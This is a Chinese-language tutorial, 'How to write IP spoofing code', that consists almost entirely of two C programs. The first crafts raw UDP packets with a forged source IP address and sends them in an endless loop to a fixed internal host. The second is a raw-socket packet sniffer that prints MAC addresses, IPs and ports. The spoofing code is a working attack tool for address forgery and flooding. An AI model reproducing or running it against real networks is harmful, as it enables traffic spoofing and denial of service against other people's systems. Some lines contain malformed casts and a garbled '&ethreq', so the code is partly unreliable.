如何编写IP欺骗代码
第一步，编写IP欺骗代码
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <errno.h>
#define IP_HEAD_LEN 20
void
udp_write(char *buf, int userlen);
int rawfd;
int main()
{
if((rawfd=socket(AF_INET, SOCK_RAW,IPPROTO_UDP))<0)
{
perror("socket error");
exit(1);
}
int on=1;
setsockopt(rawfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
size_t nbytes;
char *buf, *ptr;
buf=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+100);
ptr=buf+sizeof(struct iphdr)+sizeof(struct udphdr);//定位到数据发送区
//ptr="sent ip packet by jinlu";
nbytes=(ptr-buf)-(sizeof(struct iphdr)+sizeof(struct udphdr));
while(1)
{
udp_write(buf,nbytes);
}
return 0;
}
struct ipvolg{
u_char ih_x1 [9]; //9 bit
u_char ih_pr; //1 bit
u_short ih_len; //2 bytes
struct in_addr ih_src; //4 bytes;
struct in_addr ih_dst; //4 bytes;
};
struct udpiphdr{
struct ipvolg ui_i;
struct udphdr ui_u;
};
#define ui_x1 ui_i.ih_x1
#define ui_pr ui_i.ih_pr
#define ui_sum ui_i.ih_len
#define ui_src ui_i.ih_src
#define ui_dst ui_i.ih_dst
#define ui_sport ui_u.source
#define ui_dport ui_u.dest
#define ui_ulen ui_u.len
void
udp_write(char *buf, int userlen)
{
struct sockaddr_in dest, local;
memset(&dest,0,sizeof(dest));
memset(&local,0,sizeof(local));
dest.sin_family=AF_INET;
dest.sin_port=htons(88);
inet_pton(AF_INET,"10.10.104.137",&dest.sin_addr);
local.sin_family=AF_INET;
local.sin_port=htons(80);
inet_pton(AF_INET,"10.10.104.2",&local.sin_addr);
struct udpiphdr *ui;
struct ip *ip;
/* 4fill in and checksum UDP header */
ip = (struct ip *) buf;
ui = (struct udpiphdr *) buf;
bzero(ui, sizeof(*ui));
/* 8add 8 to userlen for pseudoheader length */
ui->ui_ulen = htons((uint16_t) (sizeof(struct udphdr) + userlen));
/* 8then add 28 for IP datagram length */
userlen += sizeof(struct udpiphdr);
ui->ui_pr = IPPROTO_UDP;
ui->ui_src.s_addr = ((struct sockaddr_in ) local).sin_addr.s_addr;
ui->ui_dst.s_addr = ((struct sockaddr_in ) dest).sin_addr.s_addr;
ui->ui_sport = ((struct sockaddr_in ) local).sin_port;
ui->ui_dport = ((struct sockaddr_in ) dest).sin_port;
//ui->ui_ulen = ui->ui_len;
/* 4fill in rest of IP header; */
/* 4ip_output() calcuates & stores IP header checksum */
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(userlen); /* network byte order */
ip->ip_id = 0; /* let IP set this */
ip->ip_off = 0; /* frag offset, MF and DF flags */
ip->ip_ttl = 64;
int flag;
int size=sizeof(dest);
if((flag=sendto(rawfd, buf, userlen, 0, (struct sockaddr*)&dest, size))<0)
{
perror("sendto error");
exit(1);
}
}
/* end udp_write */
第二步：编写抓包代码
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
int main(int argc, char **argv) {
int sock, n;
char buffer[2048];
unsigned char *iphead, *ethhead;
struct ifreq ethreq;
if ( (sock=socket(PF_PACKET, SOCK_RAW,
htons(ETH_P_IP)))<0) {
perror("socket");
exit(1);
}
/* Set the network card in promiscuos mode
strncpy(ethreq.ifr_name,"eth1",IFNAMSIZ);
if (ioctl(sock,SIOCGIFFLAGS,ðreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}
ethreq.ifr_flags|=IFF_PROMISC;
if (ioctl(sock,SIOCSIFFLAGS,ðreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}*/
while (1) {
printf("----------\n");
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
printf("%d bytes read\n",n);
/* Check to see if the packet contains at least
* complete Ethernet (14), IP (20) and TCP/UDP
* (8) headers.
*/
if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)\n",
errno);
close(sock);
exit(0);
}
ethhead = buffer;
printf("Source MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x\n",
ethhead[0],ethhead[1],ethhead[2],
ethhead[3],ethhead[4],ethhead[5]);
printf("Destination MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x\n",
ethhead[6],ethhead[7],ethhead[8],
ethhead[9],ethhead[10],ethhead[11]);
iphead = buffer+14; /* Skip Ethernet header */
if (*iphead==0x45) { /* Double check for IPv4
* and no options present */
printf("Source host %d.%d.%d.%d\n",
iphead[12],iphead[13],
iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d\n",
iphead[16],iphead[17],
iphead[18],iphead[19]);
printf("Source,Dest ports %d,%d\n",
(iphead[20]<<8)+iphead[21],
(iphead[22]<<8)+iphead[23]);
printf("Layer-4 protocol %d\n",iphead[9]);
}
}
}